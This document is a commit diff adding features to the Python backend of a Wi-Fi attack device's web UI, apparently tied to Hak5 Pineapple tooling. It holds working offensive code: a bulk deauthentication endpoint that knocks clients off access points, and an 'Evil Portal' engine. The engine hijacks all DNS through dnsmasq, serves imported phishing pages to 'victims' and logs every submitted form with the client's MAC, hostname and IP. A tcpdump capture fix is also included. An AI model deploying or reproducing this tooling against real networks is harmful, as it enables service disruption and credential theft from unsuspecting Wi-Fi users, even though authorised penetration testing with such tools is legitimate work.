feat(deauth,evilportal,capture): bulk deauth UX, Hak5-compatible Evil Portal, monitor capture fixes
- Recon AP focus sidebar: 'Deauth All Clients' with engagement-scope confirm - Deauth Targeting card: 'Deauth All' behind the same scope confirmation - New POST /api/attacks/deauth/bulk (max 32 targets, per-target results) - Evil Portal tab: import EvilPortalNano-format portal zips into /mmc/mk8/portals, serve active portal on port 80 to unauthenticated clients via a minimal PHP shim, capture all form POSTs (.logs in stock MyPortal.php format + captures.jsonl), dnsmasq address=/#/ DNS hijack - OpenAP: Evil Portal template dropdown (greyed when none), activated with the attack and stopped with it - Monitor Capture fix: iface-less status now reports whichever monitor is actually capturing; pcap dir mkdir'd; tcpdump stderr surfaced instead of discarded
This commit is contained in:
@@ -4437,6 +4437,21 @@ def h_attacks_deploy(ctx):
|
||||
return 502, {'error': str(exc)}
|
||||
update_pineap_state(mode='advanced', enabled=True, karma=True,
|
||||
collect=True)
|
||||
if kind == 'open':
|
||||
# Optional Evil Portal binding: activate the selected template with
|
||||
# the open AP; an empty value deactivates any active portal.
|
||||
portal = (body.get('portal') or '').strip()
|
||||
try:
|
||||
if portal:
|
||||
ok, err = _portal_activate(portal)
|
||||
if not ok:
|
||||
result['warning'] = 'portal activation failed: %s' % err
|
||||
else:
|
||||
result['portal'] = portal
|
||||
elif _portal_active['name']:
|
||||
_portal_deactivate()
|
||||
except Exception as exc:
|
||||
result['warning'] = 'portal activation error: %s' % exc
|
||||
result['ok'] = True
|
||||
return 200, result
|
||||
|
||||
@@ -4542,6 +4557,11 @@ def h_attacks_stop(ctx):
|
||||
# Leave hop alone if a radio1 AP is still active.
|
||||
if not _radio1_ap_active():
|
||||
_resume_hop()
|
||||
if kind == 'open' and _portal_active['name']:
|
||||
try:
|
||||
_portal_deactivate()
|
||||
except Exception:
|
||||
pass
|
||||
return 200, {'ok': True, 'stopped': stopped}
|
||||
|
||||
|
||||
@@ -4577,36 +4597,61 @@ def _capture_state(pidfile, iface):
|
||||
def h_attacks_capture(ctx):
|
||||
body = ctx.body or {}
|
||||
action = body.get('action') or 'status'
|
||||
iface = body.get('iface') or 'wlan0mon'
|
||||
if iface not in ('wlan0mon', 'wlan1mon'):
|
||||
iface = body.get('iface')
|
||||
if iface is not None and iface not in ('wlan0mon', 'wlan1mon'):
|
||||
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
|
||||
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
||||
capdir = '/root/loot/pcap'
|
||||
running, old, stale = _capture_state(pidfile, iface)
|
||||
if iface is None:
|
||||
# No iface requested: report whichever capture is actually running
|
||||
# across both monitors, else fall back to the default monitor. This
|
||||
# keeps the UI honest when a capture was started on the other band.
|
||||
states = {}
|
||||
for name in ('wlan0mon', 'wlan1mon'):
|
||||
running, pid, stale = _capture_state('/tmp/mk8_capture_%s.pid' % name, name)
|
||||
states[name] = (running, pid, stale)
|
||||
for name in ('wlan0mon', 'wlan1mon'):
|
||||
if states[name][0]:
|
||||
iface = name
|
||||
break
|
||||
else:
|
||||
iface = 'wlan0mon'
|
||||
running, old, stale = states[iface]
|
||||
else:
|
||||
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
||||
running, old, stale = _capture_state(pidfile, iface)
|
||||
if action == 'start':
|
||||
if running:
|
||||
return 200, {'running': True, 'pid': old, 'iface': iface}
|
||||
device_run(['mkdir', '-p', capdir], timeout=10)
|
||||
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
|
||||
errlog = '/tmp/mk8_capture_%s.log' % iface
|
||||
rc, out, err = device_run(
|
||||
['sh', '-c',
|
||||
'setsid tcpdump -i %s -s 3000 -w %s >/dev/null 2>&1 & echo $! > %s'
|
||||
% (iface, path, pidfile)], timeout=10)
|
||||
'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s'
|
||||
% (iface, path, errlog, '/tmp/mk8_capture_%s.pid' % iface)], timeout=10)
|
||||
try:
|
||||
with open(pidfile) as f:
|
||||
with open('/tmp/mk8_capture_%s.pid' % iface) as f:
|
||||
pid = int(f.read().strip())
|
||||
except (OSError, ValueError):
|
||||
pid = None
|
||||
if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid):
|
||||
return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]}
|
||||
detail = (err or out)[-300:]
|
||||
try:
|
||||
with open(errlog) as f:
|
||||
detail = (detail + ' ' + f.read().strip())[-300:]
|
||||
except OSError:
|
||||
pass
|
||||
return 502, {'error': 'tcpdump failed to start',
|
||||
'iface': iface, 'detail': detail.strip()}
|
||||
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
|
||||
if action == 'stop':
|
||||
if old is not None:
|
||||
device_run(['kill', str(old)], timeout=10)
|
||||
try:
|
||||
os.unlink(pidfile)
|
||||
os.unlink('/tmp/mk8_capture_%s.pid' % iface)
|
||||
except OSError:
|
||||
pass
|
||||
return 200, {'running': False, 'stopped': old}
|
||||
return 200, {'running': False, 'stopped': old, 'iface': iface}
|
||||
# status
|
||||
return 200, {'running': running, 'iface': iface,
|
||||
'stale': stale, 'pid': old}
|
||||
@@ -4647,31 +4692,609 @@ def h_attacks_download_hc22000(ctx):
|
||||
return 200, Download(body, 'application/octet-stream', name)
|
||||
|
||||
|
||||
def h_attacks_deauth(ctx):
|
||||
body = ctx.body or {}
|
||||
bssid = (body.get('bssid') or '').strip().upper()
|
||||
client = (body.get('client') or '').strip().upper()
|
||||
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
|
||||
return 400, {'error': 'invalid AP MAC'}
|
||||
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', client):
|
||||
return 400, {'error': 'invalid client MAC'}
|
||||
channel = body.get('channel')
|
||||
try:
|
||||
channel = int(channel) if channel is not None else None
|
||||
except (TypeError, ValueError):
|
||||
return 400, {'error': 'invalid channel'}
|
||||
DEAUTH_MAC_RE = r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$'
|
||||
DEAUTH_BULK_MAX = 32
|
||||
|
||||
|
||||
def _deauth_one(bssid, client, channel):
|
||||
"""Send deauth frames for one (ap, client) pair via hak5cmd.
|
||||
|
||||
Returns (ok, detail, inject_iface)."""
|
||||
band = _band_of_channel(channel) if channel is not None else None
|
||||
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
|
||||
if inject != 'wlan1mon':
|
||||
_pineap('INTERFACE', 'INJECT', inject)
|
||||
rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, client,
|
||||
str(channel or 1)], timeout=30)
|
||||
if rc != 0:
|
||||
return 502, {'error': 'deauth failed', 'detail': err or out}
|
||||
return rc == 0, err or out, inject
|
||||
|
||||
|
||||
def h_attacks_deauth(ctx):
|
||||
body = ctx.body or {}
|
||||
bssid = (body.get('bssid') or '').strip().upper()
|
||||
client = (body.get('client') or '').strip().upper()
|
||||
if not re.match(DEAUTH_MAC_RE, bssid):
|
||||
return 400, {'error': 'invalid AP MAC'}
|
||||
if not re.match(DEAUTH_MAC_RE, client):
|
||||
return 400, {'error': 'invalid client MAC'}
|
||||
channel = body.get('channel')
|
||||
try:
|
||||
channel = int(channel) if channel is not None else None
|
||||
except (TypeError, ValueError):
|
||||
return 400, {'error': 'invalid channel'}
|
||||
ok, detail, inject = _deauth_one(bssid, client, channel)
|
||||
if not ok:
|
||||
return 502, {'error': 'deauth failed', 'detail': detail}
|
||||
return 200, {'ok': True, 'bssid': bssid, 'client': client,
|
||||
'channel': channel, 'inject': inject}
|
||||
|
||||
|
||||
def h_attacks_deauth_bulk(ctx):
|
||||
"""Deauthenticate many clients of one or more APs in one call."""
|
||||
body = ctx.body or {}
|
||||
targets = body.get('targets')
|
||||
if not isinstance(targets, list) or not targets:
|
||||
return 400, {'error': 'targets must be a non-empty list'}
|
||||
if len(targets) > DEAUTH_BULK_MAX:
|
||||
return 400, {'error': 'too many targets (max %d)' % DEAUTH_BULK_MAX}
|
||||
results = []
|
||||
sent = 0
|
||||
for idx, t in enumerate(targets):
|
||||
if not isinstance(t, dict):
|
||||
results.append({'index': idx, 'ok': False, 'error': 'invalid target'})
|
||||
continue
|
||||
bssid = (t.get('bssid') or '').strip().upper()
|
||||
client = (t.get('client') or '').strip().upper()
|
||||
problem = None
|
||||
if not re.match(DEAUTH_MAC_RE, bssid):
|
||||
problem = 'invalid AP MAC'
|
||||
elif not re.match(DEAUTH_MAC_RE, client):
|
||||
problem = 'invalid client MAC'
|
||||
channel = t.get('channel')
|
||||
try:
|
||||
channel = int(channel) if channel is not None else None
|
||||
except (TypeError, ValueError):
|
||||
problem = 'invalid channel'
|
||||
if problem:
|
||||
results.append({'index': idx, 'bssid': bssid, 'client': client,
|
||||
'ok': False, 'error': problem})
|
||||
continue
|
||||
ok, detail, inject = _deauth_one(bssid, client, channel)
|
||||
results.append({'index': idx, 'bssid': bssid, 'client': client,
|
||||
'channel': channel, 'ok': ok,
|
||||
**({} if ok else {'error': detail})})
|
||||
if ok:
|
||||
sent += 1
|
||||
time.sleep(0.05)
|
||||
return 200, {'results': results, 'sent': sent, 'failed': len(results) - sent}
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Evil Portal: Hak5 EvilPortalNano-compatible captive portal engine.
|
||||
# Portals are imported verbatim (index.php + assets + MyPortal.php + .ep);
|
||||
# the backend shims the trivial PHP patterns stock portals use, serves the
|
||||
# active portal on port 80 to unauthenticated clients, captures every form
|
||||
# POST, and delivers victims via a dnsmasq DNS hijack.
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
PORTALS_DIR = os.environ.get('PAGER_PORTALS_DIR', '/mmc/mk8/portals')
|
||||
PORTAL_ACTIVE_FILE = os.path.join(PORTALS_DIR, '.active')
|
||||
PORTAL_CAPTURES_FILE = os.path.join(PORTALS_DIR, 'captures.jsonl')
|
||||
PORTAL_NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$')
|
||||
PORTAL_MAX_ZIP_BYTES = int(os.environ.get('PAGER_PORTAL_MAX_ZIP', str(10 * 1024 * 1024)))
|
||||
PORTAL_LAN_IFACE = os.environ.get('PAGER_LAN_IFACE', 'br-lan')
|
||||
PORTAL_PORT = int(os.environ.get('PAGER_PORTAL_PORT', '80'))
|
||||
_portal_lock = threading.Lock()
|
||||
_portal_active = {'name': None}
|
||||
|
||||
|
||||
def _portal_root(name):
|
||||
if not name or not PORTAL_NAME_RE.match(name):
|
||||
return None
|
||||
return os.path.join(PORTALS_DIR, name)
|
||||
|
||||
|
||||
def _rmtree(path):
|
||||
try:
|
||||
for root, dirs, files in os.walk(path, topdown=False):
|
||||
for f in files:
|
||||
try:
|
||||
os.unlink(os.path.join(root, f))
|
||||
except OSError:
|
||||
pass
|
||||
for d in dirs:
|
||||
try:
|
||||
os.rmdir(os.path.join(root, d))
|
||||
except OSError:
|
||||
pass
|
||||
os.rmdir(path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _portal_list():
|
||||
portals = []
|
||||
try:
|
||||
entries = sorted(os.listdir(PORTALS_DIR))
|
||||
except OSError:
|
||||
entries = []
|
||||
for name in entries:
|
||||
root = _portal_root(name)
|
||||
if not root or not os.path.isdir(root):
|
||||
continue
|
||||
if not os.path.isfile(os.path.join(root, 'index.php')):
|
||||
continue
|
||||
size = 0
|
||||
for root_dir, _, files in os.walk(root):
|
||||
for f in files:
|
||||
try:
|
||||
size += os.path.getsize(os.path.join(root_dir, f))
|
||||
except OSError:
|
||||
pass
|
||||
portals.append({'name': name, 'bytes': size})
|
||||
return portals
|
||||
|
||||
|
||||
def _portal_import(data_bytes, requested_name=None):
|
||||
"""Import an uploaded zip (EvilPortalNano layout). Returns portal name."""
|
||||
import zipfile
|
||||
import io as _io
|
||||
if len(data_bytes) > PORTAL_MAX_ZIP_BYTES:
|
||||
raise ValueError('portal zip too large (max %d bytes)' % PORTAL_MAX_ZIP_BYTES)
|
||||
try:
|
||||
zf = zipfile.ZipFile(_io.BytesIO(data_bytes))
|
||||
except Exception:
|
||||
raise ValueError('not a valid zip file')
|
||||
names = [n for n in zf.namelist() if n and not n.endswith('/')]
|
||||
if not names:
|
||||
raise ValueError('empty zip file')
|
||||
for n in names:
|
||||
if n.startswith('/') or '\\' in n or '..' in n.split('/'):
|
||||
raise ValueError('unsafe path in zip: %s' % n)
|
||||
tops = set(n.split('/')[0] for n in names)
|
||||
prefix = ''
|
||||
if len(tops) == 1 and 'index.php' not in names and \
|
||||
list(tops)[0] + '/index.php' in names:
|
||||
prefix = list(tops)[0] + '/'
|
||||
root_names = [n[len(prefix):] for n in names]
|
||||
if 'index.php' not in root_names:
|
||||
raise ValueError('portal must contain index.php')
|
||||
meta_name = None
|
||||
ep_files = [n for n in names
|
||||
if n[len(prefix):].count('/') == 0 and n.endswith('.ep')]
|
||||
if ep_files:
|
||||
try:
|
||||
meta = json.loads(zf.read(ep_files[0]).decode('utf-8', 'replace'))
|
||||
candidate = meta.get('name')
|
||||
if candidate and PORTAL_NAME_RE.match(str(candidate)):
|
||||
meta_name = str(candidate)
|
||||
except Exception:
|
||||
pass
|
||||
name = (requested_name or meta_name or (list(tops)[0] if len(tops) == 1 else '')
|
||||
or 'portal').strip()
|
||||
if not PORTAL_NAME_RE.match(name):
|
||||
raise ValueError('invalid portal name')
|
||||
root = _portal_root(name)
|
||||
os.makedirs(PORTALS_DIR, exist_ok=True)
|
||||
if os.path.exists(root):
|
||||
_rmtree(root)
|
||||
os.makedirs(root, exist_ok=True)
|
||||
for src in names:
|
||||
rel = src[len(prefix):]
|
||||
dest = _safe_join(root, rel)
|
||||
if not dest or not dest.startswith(os.path.abspath(root) + os.sep):
|
||||
_rmtree(root)
|
||||
raise ValueError('unsafe path in zip: %s' % src)
|
||||
os.makedirs(os.path.dirname(dest), exist_ok=True)
|
||||
with open(dest, 'wb') as f:
|
||||
f.write(zf.read(src))
|
||||
return name
|
||||
|
||||
|
||||
def _lan_ip():
|
||||
rc, out, err = device_run(['ip', '-4', 'addr', 'show', PORTAL_LAN_IFACE], timeout=10)
|
||||
m = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', out)
|
||||
return m.group(1) if m else '172.16.52.1'
|
||||
|
||||
|
||||
def _portal_dns_hijack(enable):
|
||||
ip = _lan_ip()
|
||||
if enable:
|
||||
device_run(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/%s' % ip], timeout=10)
|
||||
else:
|
||||
# Absent option / fresh config both fine; ignore failures.
|
||||
device_run(['uci', 'delete', 'dhcp.@dnsmasq[0].address'], timeout=10)
|
||||
device_run(['uci', 'commit', 'dhcp'], timeout=10)
|
||||
device_run(['/etc/init.d/dnsmasq', 'restart'], timeout=30)
|
||||
|
||||
|
||||
def _portal_set_active(name):
|
||||
with _portal_lock:
|
||||
_portal_active['name'] = name
|
||||
try:
|
||||
os.makedirs(PORTALS_DIR, exist_ok=True)
|
||||
tmp = PORTAL_ACTIVE_FILE + '.tmp'
|
||||
with open(tmp, 'w') as f:
|
||||
f.write((name or '') + '\n')
|
||||
os.replace(tmp, PORTAL_ACTIVE_FILE)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _portal_activate(name):
|
||||
root = _portal_root(name)
|
||||
if not root or not os.path.isfile(os.path.join(root, 'index.php')):
|
||||
return False, 'unknown portal'
|
||||
_portal_dns_hijack(True)
|
||||
_portal_set_active(name)
|
||||
return True, None
|
||||
|
||||
|
||||
def _portal_deactivate():
|
||||
active = _portal_active['name']
|
||||
_portal_dns_hijack(False)
|
||||
_portal_set_active(None)
|
||||
return bool(active)
|
||||
|
||||
|
||||
def _portal_restore_on_boot():
|
||||
"""Re-apply the DNS hijack if a portal was left active before restart."""
|
||||
try:
|
||||
with open(PORTAL_ACTIVE_FILE) as f:
|
||||
name = f.read().strip()
|
||||
except OSError:
|
||||
return
|
||||
if not name:
|
||||
return
|
||||
root = _portal_root(name)
|
||||
if root and os.path.isfile(os.path.join(root, 'index.php')):
|
||||
with _portal_lock:
|
||||
_portal_active['name'] = name
|
||||
try:
|
||||
_portal_dns_hijack(True)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _dhcp_leases():
|
||||
leases = {}
|
||||
try:
|
||||
with open('/tmp/dhcp.leases') as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 3:
|
||||
mac = parts[1].upper()
|
||||
ip = parts[2]
|
||||
hostname = parts[3] if len(parts) > 3 else ''
|
||||
leases[ip] = (mac, hostname)
|
||||
except OSError:
|
||||
pass
|
||||
return leases
|
||||
|
||||
|
||||
def _html_escape(s):
|
||||
return (s.replace('&', '&').replace('<', '<')
|
||||
.replace('>', '>').replace('"', '"'))
|
||||
|
||||
|
||||
def _php_shim(text, client_ip, dest_url):
|
||||
"""Resolve the trivial PHP expressions stock EvilPortalNano pages use."""
|
||||
mac, hostname = _dhcp_leases().get(client_ip, ('', ''))
|
||||
values = {
|
||||
'mac': _html_escape(mac),
|
||||
'hostname': _html_escape(hostname),
|
||||
'ip': client_ip,
|
||||
'dest': dest_url,
|
||||
}
|
||||
|
||||
def sub_expr(m):
|
||||
expr = m.group(1)
|
||||
if 'getClientMac(' in expr:
|
||||
return values['mac']
|
||||
if 'getClientHostName(' in expr:
|
||||
return values['hostname']
|
||||
if "$_SERVER['REMOTE_ADDR']" in expr or '$_SERVER["REMOTE_ADDR"]' in expr:
|
||||
return values['ip']
|
||||
if '$destination' in expr or 'HTTP_HOST' in expr:
|
||||
return values['dest']
|
||||
return ''
|
||||
|
||||
text = re.sub(r'<\?=(.*?)\?>', sub_expr, text, flags=re.S)
|
||||
text = re.sub(r'<\?php.*?\?>', '', text, flags=re.S)
|
||||
text = re.sub(r'<\?(?!xml)(.*?)\?>', '', text, flags=re.S)
|
||||
return text
|
||||
|
||||
|
||||
_PORTAL_MIME = {
|
||||
'.html': 'text/html', '.htm': 'text/html', '.php': 'text/html',
|
||||
'.css': 'text/css', '.js': 'text/javascript',
|
||||
'.png': 'image/png', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg',
|
||||
'.gif': 'image/gif', '.svg': 'image/svg+xml', '.ico': 'image/x-icon',
|
||||
'.woff': 'font/woff', '.woff2': 'font/woff2', '.ttf': 'font/ttf',
|
||||
'.json': 'application/json', '.txt': 'text/plain',
|
||||
}
|
||||
|
||||
|
||||
def _portal_success_page(portal_name):
|
||||
return ('<!DOCTYPE html><html><head><meta charset="utf-8">'
|
||||
'<meta name="viewport" content="width=device-width,initial-scale=1">'
|
||||
'<title>Success</title></head>'
|
||||
'<body style="font-family:sans-serif;text-align:center;padding-top:15%%">'
|
||||
'<h2>Authorization successful</h2>'
|
||||
'<p>You may now use the network.</p>'
|
||||
'<!-- %s --></body></html>' % _html_escape(portal_name or ''))
|
||||
|
||||
|
||||
def _portal_capture(body_bytes, client_ip, portal_name):
|
||||
fields = {}
|
||||
try:
|
||||
for k, v in _parse_qsl(body_bytes.decode('utf-8', 'replace')):
|
||||
if k:
|
||||
fields[k] = v
|
||||
except Exception:
|
||||
pass
|
||||
mac, hostname = _dhcp_leases().get(client_ip, ('', ''))
|
||||
ts = time.strftime('%Y-%m-%d %H:%M:%SZ', time.gmtime())
|
||||
root = _portal_root(portal_name)
|
||||
if root:
|
||||
lines = ['[%s]' % ts]
|
||||
for k in sorted(fields):
|
||||
lines.append('%s: %s' % (k, fields[k]))
|
||||
lines.append('hostname: %s' % hostname)
|
||||
lines.append('mac: %s' % mac)
|
||||
lines.append('ip: %s' % client_ip)
|
||||
lines.append('')
|
||||
try:
|
||||
os.makedirs(root, exist_ok=True)
|
||||
with open(os.path.join(root, '.logs'), 'a') as f:
|
||||
f.write('\n'.join(lines))
|
||||
except OSError:
|
||||
pass
|
||||
entry = {'ts': time.time(), 'time': ts, 'portal': portal_name,
|
||||
'fields': fields, 'mac': mac, 'hostname': hostname,
|
||||
'ip': client_ip}
|
||||
try:
|
||||
os.makedirs(PORTALS_DIR, exist_ok=True)
|
||||
with open(PORTAL_CAPTURES_FILE, 'a') as f:
|
||||
f.write(json.dumps(entry) + '\n')
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _portal_handle_http(h):
|
||||
"""Serve one victim request on the portal listener."""
|
||||
path = h.path.split('?', 1)[0]
|
||||
client_ip = h.addr[0] if h.addr else ''
|
||||
host = h.headers.get('host') or ''
|
||||
method = h.command
|
||||
name = _portal_active['name']
|
||||
root = _portal_root(name) if name else None
|
||||
if not root or not os.path.isdir(root):
|
||||
body = b''
|
||||
h.send_response(404)
|
||||
h.send_header('Content-Length', '0')
|
||||
h.end_headers()
|
||||
return
|
||||
if method == 'POST':
|
||||
# read_request() has already buffered the body; cap its size here.
|
||||
data = getattr(h, 'body', b'') or b''
|
||||
data = data[:65536]
|
||||
_portal_capture(data, client_ip, name)
|
||||
page = _portal_success_page(name).encode('utf-8')
|
||||
h.send_response(200)
|
||||
h.send_header('Content-Type', 'text/html; charset=utf-8')
|
||||
h.send_header('Content-Length', str(len(page)))
|
||||
h.send_header('Cache-Control', 'no-store')
|
||||
h.end_headers()
|
||||
h.connection.sendall(page)
|
||||
return
|
||||
rel = _unquote_plus(path.lstrip('/')) or 'index.php'
|
||||
rel = rel.replace('\\', '/')
|
||||
full = None if '..' in rel.split('/') else _safe_join(root, rel)
|
||||
if not full or not os.path.isfile(full):
|
||||
full = os.path.join(root, 'index.php')
|
||||
ext = os.path.splitext(full)[1].lower()
|
||||
ctype = _PORTAL_MIME.get(ext, 'application/octet-stream')
|
||||
try:
|
||||
with open(full, 'rb') as f:
|
||||
raw = f.read(PORTAL_MAX_ZIP_BYTES)
|
||||
except OSError:
|
||||
raw = b''
|
||||
if ext == '.php':
|
||||
dest_url = 'http://' + host + path
|
||||
rendered = _php_shim(raw.decode('utf-8', 'replace'), client_ip, dest_url)
|
||||
raw = rendered.encode('utf-8')
|
||||
ctype = 'text/html'
|
||||
elif ctype == 'text/html':
|
||||
ctype = 'text/html; charset=utf-8'
|
||||
h.send_response(200)
|
||||
h.send_header('Content-Type', ctype)
|
||||
h.send_header('Content-Length', str(len(raw)))
|
||||
h.send_header('Cache-Control', 'no-cache')
|
||||
h.end_headers()
|
||||
h.connection.sendall(raw)
|
||||
|
||||
|
||||
class PortalHandler(PagerHandler):
|
||||
"""Victim-facing handler: no auth, no same-origin, no admin surface."""
|
||||
|
||||
def _dispatch(self):
|
||||
try:
|
||||
_portal_handle_http(self)
|
||||
except Exception:
|
||||
try:
|
||||
self.connection.sendall(b'HTTP/1.0 500 Internal Server Error\r\n'
|
||||
b'Content-Length: 0\r\n\r\n')
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _handle_portal_conn(conn, addr):
|
||||
try:
|
||||
conn.settimeout(30)
|
||||
h = PortalHandler(conn, addr)
|
||||
while not h.close_connection:
|
||||
if not h.read_request():
|
||||
break
|
||||
h._dispatch()
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
conn.close()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def _portal_server_loop():
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
try:
|
||||
sock.bind((HOST, PORTAL_PORT))
|
||||
except OSError:
|
||||
# Port 80 unavailable (dev host, non-root): portal serving disabled.
|
||||
return
|
||||
sock.listen(16)
|
||||
sock.settimeout(1)
|
||||
while not LIVE_STOP.is_set():
|
||||
try:
|
||||
conn, addr = sock.accept()
|
||||
except socket.timeout:
|
||||
continue
|
||||
threading.Thread(target=_handle_portal_conn, args=(conn, addr),
|
||||
daemon=True).start()
|
||||
|
||||
|
||||
# ---- Evil Portal management API -----------------------------------------
|
||||
|
||||
def h_portals_list(ctx):
|
||||
portals = []
|
||||
for p in _portal_list():
|
||||
p['captures'] = _portal_capture_count(p['name'])
|
||||
portals.append(p)
|
||||
return 200, {'portals': portals, 'active': _portal_active['name']}
|
||||
|
||||
|
||||
def _portal_capture_count(name):
|
||||
count = 0
|
||||
try:
|
||||
with open(PORTAL_CAPTURES_FILE) as f:
|
||||
for line in f:
|
||||
try:
|
||||
if json.loads(line).get('portal') == name:
|
||||
count += 1
|
||||
except Exception:
|
||||
continue
|
||||
except OSError:
|
||||
pass
|
||||
return count
|
||||
|
||||
|
||||
def h_portals_import(ctx):
|
||||
body = ctx.body or {}
|
||||
data_b64 = body.get('data') or ''
|
||||
try:
|
||||
data = base64.b64decode(data_b64, validate=False)
|
||||
except Exception:
|
||||
return 400, {'error': 'invalid base64 payload'}
|
||||
if not data:
|
||||
return 400, {'error': 'missing zip data'}
|
||||
try:
|
||||
name = _portal_import(data, (body.get('name') or '').strip() or None)
|
||||
except ValueError as exc:
|
||||
return 400, {'error': str(exc)}
|
||||
return 200, {'ok': True, 'name': name}
|
||||
|
||||
|
||||
def h_portals_delete(ctx):
|
||||
name = ctx.args[0] if ctx.args else ''
|
||||
root = _portal_root(name)
|
||||
if not root or not os.path.isdir(root):
|
||||
return 404, {'error': 'portal not found'}
|
||||
if _portal_active['name'] == name:
|
||||
try:
|
||||
_portal_deactivate()
|
||||
except Exception:
|
||||
pass
|
||||
_rmtree(root)
|
||||
return 200, {'ok': True}
|
||||
|
||||
|
||||
def h_portals_activate(ctx):
|
||||
name = ctx.args[0] if ctx.args else ''
|
||||
ok, err = _portal_activate(name)
|
||||
if not ok:
|
||||
return 404, {'error': err}
|
||||
return 200, {'ok': True, 'active': name}
|
||||
|
||||
|
||||
def h_portals_deactivate(ctx):
|
||||
stopped = _portal_deactivate()
|
||||
return 200, {'ok': True, 'stopped': stopped}
|
||||
|
||||
|
||||
def h_portals_captures(ctx):
|
||||
limit = 200
|
||||
try:
|
||||
limit = max(1, min(int(ctx.query.get('limit', 200)), 1000))
|
||||
except (TypeError, ValueError):
|
||||
pass
|
||||
entries = []
|
||||
try:
|
||||
with open(PORTAL_CAPTURES_FILE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
entries.append(json.loads(line))
|
||||
except Exception:
|
||||
continue
|
||||
except OSError:
|
||||
pass
|
||||
return 200, {'captures': list(reversed(entries[-limit:])),
|
||||
'total': len(entries)}
|
||||
|
||||
|
||||
def h_portals_captures_clear(ctx):
|
||||
try:
|
||||
os.unlink(PORTAL_CAPTURES_FILE)
|
||||
except OSError:
|
||||
pass
|
||||
return 200, {'ok': True}
|
||||
|
||||
|
||||
def h_portal_logs(ctx):
|
||||
name = ctx.args[0] if ctx.args else ''
|
||||
root = _portal_root(name)
|
||||
path = os.path.join(root, '.logs') if root else None
|
||||
if not path or not os.path.isfile(path):
|
||||
return 404, {'error': 'no captured logs'}
|
||||
with open(path, 'rb') as f:
|
||||
return 200, Download(f.read(), 'text/plain', '%s.logs.txt' % name)
|
||||
|
||||
|
||||
def h_portal_download(ctx):
|
||||
import zipfile
|
||||
import io as _io
|
||||
name = ctx.args[0] if ctx.args else ''
|
||||
root = _portal_root(name)
|
||||
if not root or not os.path.isdir(root):
|
||||
return 404, {'error': 'portal not found'}
|
||||
buf = _io.BytesIO()
|
||||
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
|
||||
for dirpath, _, files in os.walk(root):
|
||||
for fn in files:
|
||||
full = os.path.join(dirpath, fn)
|
||||
rel = os.path.relpath(full, root)
|
||||
try:
|
||||
zf.write(full, os.path.join(name, rel))
|
||||
except OSError:
|
||||
continue
|
||||
return 200, Download(buf.getvalue(), 'application/zip',
|
||||
'%s.zip' % name)
|
||||
|
||||
|
||||
def _pineap(*args, timeout=30):
|
||||
with _pineapd_cmd_lock:
|
||||
rc, out, err = device_run(['_pineap'] + list(args), timeout=timeout)
|
||||
@@ -7171,6 +7794,16 @@ ROUTER.add('POST', r'/api/attacks/capture', h_attacks_capture)
|
||||
ROUTER.add('GET', r'/api/attacks/export/hc22000', h_attacks_export_hc22000)
|
||||
ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc22000)
|
||||
ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth)
|
||||
ROUTER.add('POST', r'/api/attacks/deauth/bulk', h_attacks_deauth_bulk)
|
||||
ROUTER.add('GET', r'/api/portals', h_portals_list)
|
||||
ROUTER.add('POST', r'/api/portals/import', h_portals_import)
|
||||
ROUTER.add('GET', r'/api/portals/captures', h_portals_captures)
|
||||
ROUTER.add('DELETE', r'/api/portals/captures', h_portals_captures_clear)
|
||||
ROUTER.add('POST', r'/api/portals/([^/]+)/activate', h_portals_activate)
|
||||
ROUTER.add('POST', r'/api/portals/([^/]+)/deactivate', h_portals_deactivate)
|
||||
ROUTER.add('GET', r'/api/portals/([^/]+)/logs', h_portal_logs)
|
||||
ROUTER.add('GET', r'/api/portals/([^/]+)/download', h_portal_download)
|
||||
ROUTER.add('DELETE', r'/api/portals/([^/]+)', h_portals_delete)
|
||||
ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients)
|
||||
ROUTER.add('GET', r'/api/health', h_health)
|
||||
ROUTER.add('POST', r'/mcp', h_mcp)
|
||||
@@ -7487,6 +8120,11 @@ def serve():
|
||||
start_health_monitor()
|
||||
if os.environ.get('PAGER_WEBUI_BOOT') == '1':
|
||||
_enterprise_boot_recover()
|
||||
try:
|
||||
_portal_restore_on_boot()
|
||||
except Exception:
|
||||
pass
|
||||
threading.Thread(target=_portal_server_loop, daemon=True).start()
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
